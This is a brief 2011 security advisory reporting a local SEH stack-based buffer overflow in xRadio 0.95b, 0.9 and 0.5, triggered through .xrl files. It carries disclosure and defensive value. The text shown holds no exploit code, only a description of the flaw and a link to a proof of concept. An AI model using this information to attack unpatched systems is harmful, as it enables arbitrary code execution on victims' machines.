Title: xRadio 0.95b (.xrl) Local Buffer Overflow (SEH)  
Advisory: gg-001-2011  
Date: 02-08-2011  
Last update: 02-08-2011  
Link: http://www.gotgeek.com.br/pocs/gg-001-2011.txt  
Tested on: Windows XP SP3 (VirtualBox)  
  
  
  
[+] Vulnerability  
  
xRadio is affected by stack-based buffer overflow vulnerability because it fails  
to perform adequate boundary checks on user-supplied input.  
Successful exploitation of the vulnerability allows an attacker to execute  
arbitrary code. Other versions are also affected but have a different trigger.  
  
Affected Versions:  
xRadio 0.95b  
xRadio 0.9  
xRadio 0.5
